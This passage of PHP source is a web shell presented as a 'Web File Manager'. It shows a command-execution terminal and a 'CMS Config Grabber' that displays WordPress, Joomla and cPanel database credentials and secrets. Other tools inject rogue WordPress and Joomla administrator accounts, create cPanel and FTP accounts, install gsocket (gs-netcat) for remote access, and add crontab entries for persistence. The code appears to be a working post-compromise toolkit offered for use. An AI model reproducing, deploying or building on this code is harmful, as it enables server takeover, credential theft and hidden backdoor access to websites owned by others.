                $zip->extractTo($dir);
                $zip->close();
                flash('Extracted.', 'success');
            } else { flash('Unzip failed.', 'error'); }
        } else { flash('ZipArchive not available or invalid file.', 'error'); }
        header('Location: ?dir=' . urlencode($dir)); exit;
    }

    /* ============== NEW TOOLS: CMS / GSOCKET / CRONTAB ============== */
    $redirect = '?dir=' . urlencode($dir) . '&tab=tools';

    if ($act === 'grab_config') {
        $wp = array_filter(array_map('parse_wp_config', find_wp_configs()));
        $jo = array_filter(array_map('parse_joomla_config', find_joomla_configs()));
        $cp = detect_cpanel();
        $lines = [];
        if ($wp) { $lines[] = 'WordPress config(s): ' . count($wp); foreach ($wp as $w) $lines[] = '  - ' . $w['path']; }
        if ($jo) { $lines[] = 'Joomla config(s): ' . count($jo); foreach ($jo as $j) $lines[] = '  - ' . $j['path']; }
        $lines[] = 'cPanel: ' . ($cp['installed'] ? 'installed (v' . $cp['version'] . ')' : 'not detected');
        $_SESSION['tool_out'] = implode("\n", $lines) . "\n\nUse the auto-filled fields below.";
        header('Location: ' . $redirect . '#configgrabber'); exit;
    }

    if ($act === 'wp_admin') {
        $cfg = parse_wp_config($_POST['wp_path'] ?? '');
        if (!$cfg) { flash('Invalid wp-config.php path.', 'error'); }
        else {
            $msg = wp_add_admin($cfg, $_POST['wp_user'] ?? '', $_POST['wp_pass'] ?? '', $_POST['wp_email'] ?? '');
            $_SESSION['tool_out'] = $msg;
        }
        header('Location: ' . $redirect . '#wpadmin'); exit;
    }

    if ($act === 'joomla_admin') {
        $cfg = parse_joomla_config($_POST['joomla_path'] ?? '');
        if (!$cfg) { flash('Invalid configuration.php path.', 'error'); }
        else {
            $msg = joomla_add_admin($cfg, $_POST['joomla_user'] ?? '', $_POST['joomla_pass'] ?? '', $_POST['joomla_name'] ?? '', $_POST['joomla_email'] ?? '', $_POST['joomla_ver'] ?? '3');
            $_SESSION['tool_out'] = $msg;
        }
        header('Location: ' . $redirect . '#joomlaadmin'); exit;
    }

    if ($act === 'cpanel_acct') {
        $msg = cpanel_create_acct($_POST['cp_domain'] ?? '', $_POST['cp_user'] ?? '', $_POST['cp_pass'] ?? '', $_POST['cp_plan'] ?? '');
        $_SESSION['tool_out'] = is_string($msg) ? $msg : 'Done.';
        header('Location: ' . $redirect . '#cpanel'); exit;
    }

    if ($act === 'cpanel_ftp') {
        $msg = cpanel_add_ftp($_POST['cp_ftp_cpanel_user'] ?? '', $_POST['cp_ftp_user'] ?? '', $_POST['cp_ftp_pass'] ?? '', $_POST['cp_ftp_dir'] ?? 'public_html');
        $_SESSION['tool_out'] = is_string($msg) ? $msg : 'Done.';
        header('Location: ' . $redirect . '#cpanel'); exit;
    }

    if ($act === 'gsocket') {
        $_SESSION['tool_out'] = gsocket_install($_POST['gs_secret'] ?? '', isset($_POST['gs_kill']));
        header('Location: ' . $redirect . '#gsocket'); exit;
    }

    if ($act === 'cron_add') {
        $_SESSION['tool_out'] = crontab_add($_POST['cron_schedule'] ?? '', $_POST['cron_cmd'] ?? '');
        header('Location: ' . $redirect . '#crontab'); exit;
    }

    if ($act === 'cron_clear') {
        $_SESSION['tool_out'] = crontab_clear();
        header('Location: ' . $redirect . '#crontab'); exit;
    }

    header('Location: ?dir=' . urlencode($dir));
    exit;
}

/* --------------------- GET HANDLERS (authed) ----------------------- */
if ($authed && isset($_GET['ajax']) && $_GET['ajax'] === 'tree') {
    header('Content-Type: application/json');
    $p = safe_path($_GET['path'] ?? '/');
    $res = [];
    if ($p !== false && is_dir($p)) {
        foreach (scandir($p) as $name) {
            if ($name === '.' || $name === '..' || is_hidden($name)) continue;
            $full = rtrim($p, '/') . '/' . $name;
            if (is_dir($full)) $res[] = ['name' => $name, 'path' => $full, 'child' => has_subdir($full)];
        }
        usort($res, function ($a, $b) { return strcasecmp($a['name'], $b['name']); });
    }
    echo json_encode($res);
    exit;
}

if ($authed && isset($_GET['dl'])) {
    $p = safe_path($_GET['dl']);
    if ($p && is_file($p)) {
        header('Content-Description: File Transfer');
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($p) . '"');
        header('Content-Length: ' . filesize($p));
        readfile($p);
        exit;
    }
    http_response_code(404); exit;
}

/* --------------------------- UI STATE ------------------------------ */
$dir      = current_dir();
$term_out = $_SESSION['term_out'] ?? '';
$tool_out = $_SESSION['tool_out'] ?? '';
unset($_SESSION['term_out'], $_SESSION['tool_out']);

function list_entries($dir) {
    $entries = [];
    foreach (scandir($dir) as $name) {
        if ($name === '.' || $name === '..' || is_hidden($name)) continue;
        $p = $dir . '/' . $name;
        $entries[] = [
            'name'   => $name,
            'path'   => $p,
            'type'   => is_dir($p) ? 'dir' : 'file',
            'size'   => is_dir($p) ? '-' : filesize($p),
            'perm'   => substr(sprintf('%o', fileperms($p)), -4),
            'mtime'  => filemtime($p),
            'owner'  => function_exists('posix_getpwuid') ? (posix_getpwuid(fileowner($p))['name'] ?? fileowner($p)) : fileowner($p),
            'read'   => is_readable($p),
            'write'  => is_writable($p),
            'locked' => is_locked($p),
        ];
    }
    usort($entries, function ($a, $b) {
        if ($a['type'] !== $b['type']) return $a['type'] === 'dir' ? -1 : 1;
        return strcasecmp($a['name'], $b['name']);
    });
    return $entries;
}

$entries = list_entries($dir);
$parent  = ($dir !== '/') ? dirname($dir) : null;
$rel_dir = $dir;

/* ---- Tools detection (computed on load) ---- */
$wp_configs     = $authed ? array_filter(array_map('parse_wp_config', find_wp_configs())) : [];
$joomla_configs = $authed ? array_filter(array_map('parse_joomla_config', find_joomla_configs())) : [];
$cpanel         = $authed ? detect_cpanel() : ['installed'=>false];
$cron_list      = $authed ? crontab_list() : '';
$gsock_installed = @is_file(dirname(__FILE__) . '/.gs-netcat');
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Web File Manager</title>
<style>
:root{
  --bg:#0b0f17; --panel:#111827; --panel2:#0f172a; --border:#1f2a3d;
  --text:#e5e7eb; --muted:#94a3b8; --accent:#3b82f6; --accent2:#2563eb;
  --green:#10b981; --red:#ef4444; --yellow:#f59e0b; --purple:#8b5cf6;
  --mono:'JetBrains Mono','Fira Code','Cascadia Code',Consolas,monospace;
}
*{box-sizing:border-box;margin:0;padding:0}
body{background:var(--bg);color:var(--text);font-family:-apple-system,BlinkMacSystemFont,'Segoe UI',Roboto,Helvetica,Arial,sans-serif;font-size:14px;min-height:100vh}
a{color:var(--accent);text-decoration:none}
a:hover{text-decoration:underline}
::-webkit-scrollbar{width:10px;height:10px}
::-webkit-scrollbar-thumb{background:#26334d;border-radius:6px}
::-webkit-scrollbar-track{background:transparent}
.login-wrap{display:flex;align-items:center;justify-content:center;min-height:100vh;background:radial-gradient(circle at 20% 20%,#12203a 0,var(--bg) 55%)}
.login-card{background:var(--panel);border:1px solid var(--border);border-radius:14px;padding:40px;width:380px;box-shadow:0 20px 60px rgba(0,0,0,.5)}
.login-card h1{font-size:22px;margin-bottom:6px}
.login-card p{color:var(--muted);margin-bottom:26px;font-size:13px}
.logo{font-size:34px;margin-bottom:18px}
.field{margin-bottom:16px}
.field label{display:block;color:var(--muted);font-size:12px;margin-bottom:6px;text-transform:uppercase;letter-spacing:.5px}
.field input,.field select,.field textarea{width:100%;background:var(--panel2);border:1px solid var(--border);border-radius:8px;padding:11px 13px;color:var(--text);font-size:14px;outline:none;font-family:inherit}
.field input:focus,.field select:focus,.field textarea:focus{border-color:var(--accent)}
.field textarea{font-family:var(--mono);font-size:12.5px;min-height:80px;resize:vertical}
.btn{display:inline-flex;align-items:center;gap:8px;background:var(--accent2);color:#fff;border:none;border-radius:8px;padding:11px 18px;font-size:14px;cursor:pointer;transition:.15s;font-weight:600}
.btn:hover{background:var(--accent)}
.btn-green{background:#059669}.btn-green:hover{background:var(--green)}
.btn-red{background:#b91c1c}.btn-red:hover{background:var(--red)}
.btn-gray{background:#374151}.btn-gray:hover{background:#4b5563}
.btn-yellow{background:#b45309}.btn-yellow:hover{background:var(--yellow)}
.btn-sm{padding:6px 11px;font-size:12px;border-radius:6px}
.btn:disabled{opacity:.5;cursor:not-allowed}
.err{background:#3b0a0a;border:1px solid #7f1d1d;color:#fca5a5;padding:10px 13px;border-radius:8px;margin-bottom:16px;font-size:13px}
.w-full{width:100%}
.topbar{display:flex;align-items:center;justify-content:space-between;padding:12px 20px;background:var(--panel);border-bottom:1px solid var(--border);position:sticky;top:0;z-index:50}
.topbar .brand{display:flex;align-items:center;gap:10px;font-weight:700;font-size:16px}
.topbar .brand .dot{width:10px;height:10px;border-radius:50%;background:var(--green);box-shadow:0 0 8px var(--green)}
.topbar .actions{display:flex;gap:8px;align-items:center}
.layout{display:flex;min-height:calc(100vh - 51px)}
.sidebar{width:270px;flex-shrink:0;background:var(--panel);border-right:1px solid var(--border);padding:14px;overflow-y:auto;max-height:calc(100vh - 51px);position:sticky;top:51px}
.sidebar-head{font-weight:700;margin-bottom:12px;font-size:12px;text-transform:uppercase;letter-spacing:.5px;color:var(--muted)}
.jump{display:flex;gap:6px;margin-bottom:14px}
.jump input{flex:1;background:var(--panel2);border:1px solid var(--border);border-radius:6px;padding:8px 10px;color:var(--text);font-size:12px;outline:none;min-width:0}
.jump input:focus{border-color:var(--accent)}
.tree{font-family:var(--mono);font-size:12.5px}
.tree ul{list-style:none;padding-left:14px}
.tree li{margin:1px 0}
.tree-row{display:flex;align-items:center;gap:4px;padding:2px 4px;border-radius:4px}
.tree-row:hover{background:rgba(59,130,246,.08)}
.tree-row a{color:var(--text);flex:1;white-space:nowrap;overflow:hidden;text-overflow:ellipsis}
.tree-row a:hover{color:var(--accent);text-decoration:none}
.tree-row a.active{color:var(--accent);font-weight:700}
.tree-toggle{width:14px;cursor:pointer;color:var(--muted);text-align:center;flex-shrink:0;user-select:none}
.tree-root a{color:var(--accent);font-weight:700}
.main{flex:1;min-width:0;padding:20px}
.toolbar{background:var(--panel);border:1px solid var(--border);border-radius:12px;padding:16px;margin-bottom:18px}
.breadcrumb{display:flex;align-items:center;flex-wrap:wrap;gap:2px;font-size:15px;margin-bottom:14px;font-family:var(--mono)}
.breadcrumb .sep{color:var(--muted);margin:0 4px}
.breadcrumb a{color:var(--accent)}
.quick-tools{display:flex;flex-wrap:wrap;gap:8px;align-items:center}
.quick-tools input[type=text]{background:var(--panel2);border:1px solid var(--border);border-radius:6px;padding:8px 11px;color:var(--text);font-size:13px;outline:none;width:200px}
.quick-tools input:focus{border-color:var(--accent)}
.stats{display:grid;grid-template-columns:repeat(auto-fit,minmax(150px,1fr));gap:12px;margin-bottom:18px}
.stat{background:var(--panel);border:1px solid var(--border);border-radius:12px;padding:16px}
.stat .num{font-size:22px;font-weight:700;word-break:break-all}
.stat .lbl{color:var(--muted);font-size:12px;margin-top:4px}
.panel{background:var(--panel);border:1px solid var(--border);border-radius:12px;overflow:hidden}
.panel-head{display:flex;align-items:center;justify-content:space-between;padding:14px 18px;border-bottom:1px solid var(--border)}
.panel-head h2{font-size:15px}
table{width:100%;border-collapse:collapse}
th,td{padding:11px 14px;text-align:left;border-bottom:1px solid var(--border);font-size:13px;white-space:nowrap}
th{background:var(--panel2);color:var(--muted);font-size:11px;text-transform:uppercase;letter-spacing:.5px}
tr:hover td{background:rgba(59,130,246,.05)}
td.name{font-family:var(--mono)}
td.name a{color:var(--text)}
td.name a:hover{color:var(--accent);text-decoration:none}
.badge{display:inline-block;padding:2px 8px;border-radius:20px;font-size:11px;font-weight:600}
.badge-dir{background:#1e3a5f;color:#93c5fd}
.badge-file{background:#1f2937;color:#d1d5db}
.badge-lock{background:#3b2f00;color:#fbbf24}
.badge-ok{background:#052e1f;color:#6ee7b7}
.perm{font-family:var(--mono);color:var(--yellow);font-size:12px}
.acts{display:flex;gap:4px}
.acts a,.acts button{color:var(--muted);font-size:13px;padding:3px 6px;border-radius:5px;border:none;background:transparent;cursor:pointer}
.acts a:hover{color:var(--accent);background:rgba(59,130,246,.12);text-decoration:none}
.acts .del:hover{color:var(--red);background:rgba(239,68,68,.12)}
.acts .edit:hover{color:var(--green);background:rgba(16,185,129,.12)}
.acts .lockbtn:hover{color:var(--yellow);background:rgba(245,158,11,.12)}
.acts .lockbtn.locked{color:var(--yellow)}
.alert{padding:12px 16px;border-radius:8px;margin-bottom:14px;font-size:13px}
.alert-success{background:#052e1f;border:1px solid #065f46;color:#6ee7b7}
.alert-error{background:#3b0a0a;border:1px solid #7f1d1d;color:#fca5a5}
.alert-info{background:#0c1f3d;border:1px solid #1e3a5f;color:#93c5fd}
.term{background:#000;border-radius:0 0 12px 12px;font-family:var(--mono);font-size:13px;padding:16px;min-height:260px;max-height:420px;overflow-y:auto;color:#22c55e;white-space:pre-wrap;word-break:break-all}
.term .cmdline{display:flex;align-items:center;gap:8px}
.term .ps1{color:var(--green);font-weight:700}
.term input[type=text]{flex:1;background:transparent;border:none;color:#fff;font-family:var(--mono);font-size:13px;outline:none;padding:8px 0}
.editor-head{display:flex;justify-content:space-between;align-items:center;padding:14px 18px;border-bottom:1px solid var(--border)}
textarea.editor{width:100%;min-height:500px;background:#0a0e14;color:#e5e7eb;border:none;padding:16px;font-family:var(--mono);font-size:13px;line-height:1.5;resize:vertical;outline:none}
.modal-bg{display:none;position:fixed;inset:0;background:rgba(0,0,0,.65);z-index:100;align-items:center;justify-content:center}
.modal-bg.open{display:flex}
.modal{background:var(--panel);border:1px solid var(--border);border-radius:12px;padding:24px;width:440px;max-width:92vw;max-height:90vh;overflow-y:auto}
.modal h3{margin-bottom:16px}
.modal .field{margin-bottom:14px}
.dropzone{border:2px dashed var(--border);border-radius:10px;padding:26px;text-align:center;color:var(--muted);cursor:pointer;transition:.15s;margin-top:10px}
.dropzone.dragover{border-color:var(--accent);color:var(--accent);background:rgba(59,130,246,.05)}
.filelist{list-style:none;margin-top:10px}
.filelist li{display:flex;justify-content:space-between;font-size:12px;padding:4px 0;border-bottom:1px solid var(--border)}
.tabs{display:flex;gap:4px;border-bottom:1px solid var(--border);padding:0 14px}
.tab{padding:11px 16px;cursor:pointer;color:var(--muted);border-bottom:2px solid transparent;font-size:13px;font-weight:600}
.tab.active{color:var(--text);border-bottom-color:var(--accent)}
.tab-content{display:none;padding:18px}
.tab-content.active{display:block}
.grid-2{display:grid;grid-template-columns:1fr 1fr;gap:12px}
.muted{color:var(--muted)}
.mono{font-family:var(--mono)}
.mt{margin-top:12px}
.pre{background:#0a0e14;border:1px solid var(--border);border-radius:8px;padding:12px;font-family:var(--mono);font-size:12px;color:#a5f3fc;white-space:pre-wrap;word-break:break-all;max-height:300px;overflow-y:auto}
.mod-cards{display:grid;grid-template-columns:repeat(auto-fit,minmax(420px,1fr));gap:16px}
.mod-card{background:var(--panel);border:1px solid var(--border);border-radius:12px;padding:18px;align-self:start}
.mod-card h3{font-size:14px;margin-bottom:4px;display:flex;align-items:center;gap:8px}
.mod-card .sub{color:var(--muted);font-size:12px;margin-bottom:14px}
.kv{display:grid;grid-template-columns:110px 1fr;gap:4px 10px;font-size:12px;margin-bottom:12px}
.kv .k{color:var(--muted);font-family:var(--mono)}
.kv .v{color:var(--green);font-family:var(--mono);word-break:break-all}
@media(max-width:800px){.grid-2{grid-template-columns:1fr}.layout{flex-direction:column}.sidebar{width:100%;max-height:none;position:static;border-right:none;border-bottom:1px solid var(--border)}.mod-cards{grid-template-columns:1fr}}
</style>
</head>
<body>
<?php if (!$authed): ?>
<div class="login-wrap">
  <div class="login-card">
    <div class="logo">🛡️</div>
    <h1>Web File Manager</h1>
    <p>Authorized access only. Enter your credentials to continue.</p>
    <?php if (isset($login_error)): ?><div class="err"><?= h($login_error) ?></div><?php endif; ?>
    <form method="post" autocomplete="off">
      <div class="field">
        <label>Username</label>
        <input type="text" name="username" placeholder="admin" required autofocus>
      </div>
      <div class="field">
        <label>Password</label>
        <input type="password" name="password" placeholder="••••••••••" required>
      </div>
      <button class="btn w-full" type="submit">Sign In</button>
    </form>
  </div>
</div>
<?php else: ?>
<div class="topbar">
  <div class="brand"><span class="dot"></span> Web File Manager <span class="muted" style="font-weight:400;font-size:12px">v1.2</span></div>
  <div class="actions">
    <button class="btn btn-gray btn-sm" onclick="openModal('uploadModal')">⬆ Upload</button>
    <button class="btn btn-gray btn-sm" onclick="openModal('createModal')">+ New</button>
    <form method="post" style="display:inline">
      <input type="hidden" name="csrf" value="<?= csrf_token() ?>">
      <button class="btn btn-red btn-sm" name="action" value="logout" type="submit">⏻ Logout</button>
    </form>
  </div>
</div>

<div class="layout">
  <aside class="sidebar">
    <div class="sidebar-head">📂 File Explorer</div>
    <form class="jump" method="get">
      <input type="text" name="dir" placeholder="Jump to path e.g. /var/www" value="">
      <button class="btn btn-sm" type="submit">Go</button>
    </form>
    <div class="tree">
      <div class="tree-row tree-root"><a href="?dir=<?= urlencode('/') ?>" class="<?= $dir==='/' ? 'active':'' ?>">📁 /</a></div>
      <div id="treeChildren"></div>
    </div>
  </aside>

  <main class="main">
  <?= render_flash() ?>

  <div class="toolbar">
    <div class="breadcrumb"><?= breadcrumbs($dir) ?></div>
    <div class="quick-tools">
      <?php if ($parent): ?><a class="btn btn-gray btn-sm" href="?dir=<?= urlencode($parent) ?>">⬅ Up</a><?php endif; ?>
      <a class="btn btn-gray btn-sm" href="?dir=<?= urlencode($rel_dir) ?>">⟳ Refresh</a>
      <form method="get" style="display:inline">
        <input type="hidden" name="dir" value="<?= h($rel_dir) ?>">
        <input type="text" name="q" placeholder="Search files..." value="<?= h($_GET['q'] ?? '') ?>" style="width:240px">
        <button class="btn btn-sm" type="submit">🔍</button>
      </form>
    </div>
  </div>

  <div class="stats">
    <div class="stat"><div class="num"><?= count(array_filter($entries, fn($e) => $e['type']==='dir')) ?></div><div class="lbl">Directories</div></div>
    <div class="stat"><div class="num"><?= count(array_filter($entries, fn($e) => $e['type']==='file')) ?></div><div class="lbl">Files</div></div>
    <div class="stat"><div class="num"><?= count(array_filter($entries, fn($e) => $e['locked'])) ?></div><div class="lbl">Locked</div></div>
    <div class="stat"><div class="num"><?= human_size(array_sum(array_map(fn($e) => is_numeric($e['size'])?$e['size']:0, $entries))) ?></div><div class="lbl">Total size</div></div>
    <div class="stat"><div class="num mono" style="font-size:13px"><?= h($rel_dir) ?></div><div class="lbl">Path</div></div>
  </div>

  <div class="tabs">
    <div class="tab active" data-tab="files">📁 Files</div>
    <div class="tab" data-tab="terminal">🖥 Terminal</div>
    <div class="tab" data-tab="tools">⚡ Tools</div>
    <div class="tab" data-tab="info">ℹ Server Info</div>
  </div>

  <!-- FILES TAB -->
  <div class="tab-content active" id="tab-files">
    <div class="panel">
      <form method="post" id="bulkForm">
        <input type="hidden" name="csrf" value="<?= csrf_token() ?>">
        <table>
          <thead>
            <tr>
              <th style="width:36px"><input type="checkbox" id="checkAll"></th>
              <th>Name</th>
              <th>Size</th>
              <th>Perms</th>
              <th>Owner</th>
              <th>Modified</th>
              <th>Actions</th>
            </tr>
          </thead>
          <tbody>
            <?php
            $q = isset($_GET['q']) ? strtolower(trim($_GET['q'])) : '';
            foreach ($entries as $e):
              if ($q && strpos(strtolower($e['name']), $q) === false) continue;
              $relPath = $e['path'];
              $isEdit = in_array(strtolower(pathinfo($e['name'], PATHINFO_EXTENSION)), $CONFIG['ext_edit']);
            ?>
            <tr>
              <td><input type="checkbox" name="items[]" value="<?= h($relPath) ?>" class="row-check"></td>
              <td class="name">
                <?php if ($e['type']==='dir'): ?>
                  <a href="?dir=<?= urlencode($relPath) ?>">📁 <?= h($e['name']) ?>/</a>
                <?php else: ?>
                  <?= h($e['name']) ?>
                  <span class="badge badge-file"><?= strtoupper(pathinfo($e['name'], PATHINFO_EXTENSION)) ?: 'FILE' ?></span>
                <?php endif; ?>
                <?php if ($e['locked']): ?><span class="badge badge-lock" title="Locked - protected from delete/rename">🔒 LOCKED</span><?php endif; ?>
              </td>
              <td class="muted"><?= h(human_size($e['size'])) ?></td>
              <td><span class="perm"><?= h($e['perm']) ?></span></td>
              <td class="muted"><?= h($e['owner']) ?></td>
              <td class="muted"><?= date('Y-m-d H:i', $e['mtime']) ?></td>
              <td>
                <div class="acts">
                  <?php if ($e['type']==='dir'): ?>
                    <a href="?dir=<?= urlencode($relPath) ?>" title="Open">📂</a>
                  <?php else: ?>
                    <?php if ($isEdit): ?><a class="edit" href="?dir=<?= urlencode($rel_dir) ?>&edit=<?= urlencode($relPath) ?>" title="Edit">✏️</a><?php endif; ?>
                    <a href="?dl=<?= urlencode($relPath) ?>" title="Download">⬇</a>
                  <?php endif; ?>
                  <button type="button" class="edit" onclick="renameItem('<?= h($relPath) ?>','<?= h($e['name']) ?>')" title="Rename">✏️</button>
                  <button type="button" onclick="chmodItem('<?= h($relPath) ?>','<?= h($e['perm']) ?>')" title="chmod">🔐</button>
                  <form method="post" style="display:inline">
                    <input type="hidden" name="csrf" value="<?= csrf_token() ?>">
                    <input type="hidden" name="action" value="<?= $e['locked'] ? 'unlock' : 'lock' ?>">
                    <input type="hidden" name="items[]" value="<?= h($relPath) ?>">
                    <button type="submit" class="lockbtn <?= $e['locked'] ? 'locked' : '' ?>" title="<?= $e['locked'] ? 'Unlock' : 'Lock' ?>"><?= $e['locked'] ? '🔒' : '🔓' ?></button>
                  </form>
                  <button type="button" class="del" onclick="confirmDelete('<?= h($relPath) ?>')" title="Delete">🗑</button>
                </div>
              </td>
            </tr>
            <?php endforeach; ?>
            <?php if (empty($entries)): ?>
              <tr><td colspan="7" class="muted" style="text-align:center;padding:40px">Empty directory.</td></tr>
            <?php endif; ?>
          </tbody>
        </table>
      </form>
      <div style="padding:14px 18px;border-top:1px solid var(--border);display:flex;gap:8px;flex-wrap:wrap">
        <button class="btn btn-red btn-sm" onclick="bulkDelete()">🗑 Delete selected</button>
        <button class="btn btn-gray btn-sm" onclick="bulkAction('chmod')">🔐 chmod selected</button>
        <button class="btn btn-gray btn-sm" onclick="bulkAction('zip')">🗜 Zip selected</button>
        <button class="btn btn-gray btn-sm" onclick="bulkAction('lock')">🔒 Lock selected</button>
        <button class="btn btn-gray btn-sm" onclick="bulkAction('unlock')">🔓 Unlock selected</button>
      </div>
    </div>
  </div>

  <!-- TERMINAL TAB -->
  <div class="tab-content" id="tab-terminal">
    <div class="panel">
      <div class="panel-head"><h2>🖥 Command Execution</h2><span class="muted mono"><?= h($rel_dir) ?> $</span></div>
      <div class="term" id="termOut"><?= h($term_out) ?><?php if ($term_out === '') echo "<span class='muted'>Type a command below and press Enter.</span>"; ?></div>
      <form method="post" class="term" style="border-top:1px solid var(--border)">
        <input type="hidden" name="csrf" value="<?= csrf_token() ?>">
        <input type="hidden" name="action" value="cmd">
        <div class="cmdline">
          <span class="ps1"><?= h($rel_dir) ?> $</span>
          <input type="text" name="cmd" placeholder="ls -la; whoami; id; uname -a" autocomplete="off" autofocus>
        </div>
      </form>
    </div>
  </div>

  <!-- TOOLS TAB -->
  <div class="tab-content" id="tab-tools">
    <?php if ($tool_out): ?>
      <div class="alert alert-info"><strong>Result:</strong><br><span class="mono" style="white-space:pre-wrap;word-break:break-all"><?= h($tool_out) ?></span></div>
    <?php endif; ?>

    <div class="mod-cards">

      <!-- ============ CONFIG GRABBER ============ -->
      <div class="mod-card" id="configgrabber" style="grid-column:1/-1">
        <h3>🔍 CMS Config Grabber</h3>
        <div class="sub">Auto-detect and extract credentials from WordPress, Joomla and cPanel.</div>
        <form method="post" style="margin-bottom:14px">
          <input type="hidden" name="csrf" value="<?= csrf_token() ?>">
          <input type="hidden" name="action" value="grab_config">
          <button class="btn btn-sm" type="submit">🔄 Re-scan configs</button>
        </form>
        <div class="grid-2">
          <div>
            <div style="font-weight:700;margin-bottom:8px">WordPress (wp-config.php)</div>
            <?php if ($wp_configs): foreach ($wp_configs as $w): ?>
              <div class="kv">
                <span class="k">path</span><span class="v"><?= h($w['path']) ?></span>
                <span class="k">DB_NAME</span><span class="v"><?= h($w['DB_NAME']) ?></span>
                <span class="k">DB_USER</span><span class="v"><?= h($w['DB_USER']) ?></span>
                <span class="k">DB_PASS</span><span class="v"><?= h($w['DB_PASSWORD']) ?></span>
                <span class="k">DB_HOST</span><span class="v"><?= h($w['DB_HOST']) ?></span>
                <span class="k">prefix</span><span class="v"><?= h($w['prefix']) ?></span>
              </div>
              <hr style="border-color:var(--border);margin:10px 0">
            <?php endforeach; else: ?><div class="muted">Not detected.</div><?php endif; ?>
          </div>
          <div>
            <div style="font-weight:700;margin-bottom:8px">Joomla (configuration.php)</div>
            <?php if ($joomla_configs): foreach ($joomla_configs as $j): ?>
              <div class="kv">
                <span class="k">path</span><span class="v"><?= h($j['path']) ?></span>
                <span class="k">db</span><span class="v"><?= h($j['db']) ?></span>
                <span class="k">user</span><span class="v"><?= h($j['user']) ?></span>
                <span class="k">pass</span><span class="v"><?= h($j['password']) ?></span>
                <span class="k">host</span><span class="v"><?= h($j['host']) ?></span>
                <span class="k">prefix</span><span class="v"><?= h($j['dbprefix']) ?></span>
                <span class="k">secret</span><span class="v"><?= h($j['secret']) ?></span>
              </div>
              <hr style="border-color:var(--border);margin:10px 0">
            <?php endforeach; else: ?><div class="muted">Not detected.</div><?php endif; ?>
          </div>
        </div>
        <div class="mt">
          <div style="font-weight:700;margin-bottom:8px">cPanel</div>
          <div class="kv">
            <span class="k">status</span><span class="v"><?= $cpanel['installed'] ? 'installed' : 'not detected' ?></span>
            <span class="k">version</span><span class="v"><?= h($cpanel['version'] ?? '-') ?></span>
            <span class="k">hostname</span><span class="v"><?= h($cpanel['hostname'] ?? '-') ?></span>
            <span class="k">main_ip</span><span class="v"><?= h($cpanel['main_ip'] ?? '-') ?></span>
            <span class="k">root</span><span class="v"><?= !empty($cpanel['root']) ? 'yes (uid 0)' : 'no' ?></span>
            <span class="k">whmapi</span><span class="v"><?= !empty($cpanel['whmapi']) ? 'available' : 'n/a' ?></span>
          </div>
        </div>
      </div>

      <!-- ============ WORDPRESS ADMIN ============ -->
      <div class="mod-card" id="wpadmin">
        <h3>🔑 Add WordPress Admin</h3>
        <div class="sub">Insert/update an administrator user directly via the WP database.</div>
        <form method="post">
          <input type="hidden" name="csrf" value="<?= csrf_token() ?>">
          <input type="hidden" name="action" value="wp_admin">
          <div class="field">
            <label>wp-config.php path</label>
            <select name="wp_path">
              <?php if ($wp_configs): foreach ($wp_configs as $w): ?>
                <option value="<?= h($w['path']) ?>"><?= h($w['path']) ?></option>
              <?php endforeach; else: ?><option value="">(none detected)</option><?php endif; ?>
            </select>
          </div>
          <div class="field"><label>Username</label><input type="text" name="wp_user" value="wp_admin" required></div>
          <div class="field"><label>Password</label><input type="text" name="wp_pass" value="P@ssw0rd1337!" required></div>
          <div class="field"><label>Email</label><input type="email" name="wp_email" value="admin@localhost.local" required></div>
          <button class="btn btn-green btn-sm" type="submit">➕ Add Admin</button>
        </form>
      </div>

      <!-- ============ JOOMLA ADMIN ============ -->
      <div class="mod-card" id="joomlaadmin">
        <h3>🔑 Add Joomla Admin</h3>
        <div class="sub">Insert a Super User (group 8) directly via the Joomla database.</div>
        <form method="post">
          <input type="hidden" name="csrf" value="<?= csrf_token() ?>">
          <input type="hidden" name="action" value="joomla_admin">
          <div class="field">
            <label>configuration.php path</label>
            <select name="joomla_path">
              <?php if ($joomla_configs): foreach ($joomla_configs as $j): ?>
                <option value="<?= h($j['path']) ?>"><?= h($j['path']) ?></option>
              <?php endforeach; else: ?><option value="">(none detected)</option><?php endif; ?>
            </select>
          </div>
          <div class="field"><label>Name</label><input type="text" name="joomla_name" value="Super Admin" required></div>
          <div class="field"><label>Username</label><input type="text" name="joomla_user" value="joomla_admin" required></div>
          <div class="field"><label>Password</label><input type="text" name="joomla_pass" value="P@ssw0rd1337!" required></div>
          <div class="field"><label>Email</label><input type="email" name="joomla_email" value="admin@localhost.local" required></div>
          <div class="field">
            <label>Joomla version (hash format)</label>
            <select name="joomla_ver">
              <?php $v3 = $joomla_configs ? joomla_version_hint($joomla_configs[0]['path']) : '3'; ?>
              <option value="3" <?= $v3==='3'?'selected':'' ?>>Joomla 3.x (phpass)</option>
              <option value="4" <?= $v3==='4'?'selected':'' ?>>Joomla 4/5 (bcrypt)</option>
            </select>
          </div>
          <button class="btn btn-green btn-sm" type="submit">➕ Add Super User</button>
        </form>
      </div>

      <!-- ============ CPANEL ============ -->
      <div class="mod-card" id="cpanel">
        <h3>🖥 cPanel / WHM</h3>
        <div class="sub">Create a cPanel account (WHM root) or add an FTP user (cPanel UAPI).</div>
        <div class="kv">
          <span class="k">status</span><span class="v"><?= $cpanel['installed'] ? 'installed v' . h($cpanel['version'] ?? '') : 'not detected' ?></span>
        </div>
        <form method="post" style="margin-bottom:14px">
          <input type="hidden" name="csrf" value="<?= csrf_token() ?>">
          <input type="hidden" name="action" value="cpanel_acct">
          <div class="field"><label>Domain</label><input type="text" name="cp_domain" value="example.com" required></div>
          <div class="field"><label>Username</label><input type="text" name="cp_user" value="newacct" required></div>
          <div class="field"><label>Password</label><input type="text" name="cp_pass" value="P@ssw0rd1337!" required></div>
          <div class="field"><label>Package / plan (optional)</label><input type="text" name="cp_plan" placeholder="default"></div>
          <button class="btn btn-yellow btn-sm" type="submit">➕ Create Account (WHM root)</button>
        </form>
        <hr style="border-color:var(--border);margin:10px 0">
        <form method="post">
          <input type="hidden" name="csrf" value="<?= csrf_token() ?>">
          <input type="hidden" name="action" value="cpanel_ftp">
          <div class="field"><label>cPanel account user</label><input type="text" name="cp_ftp_cpanel_user" placeholder="cpanel_username" required></div>
          <div class="field"><label>FTP username</label><input type="text" name="cp_ftp_user" value="ftpuser1" required></div>
          <div class="field"><label>FTP password</label><input type="text" name="cp_ftp_pass" value="Ftp@1337!" required></div>
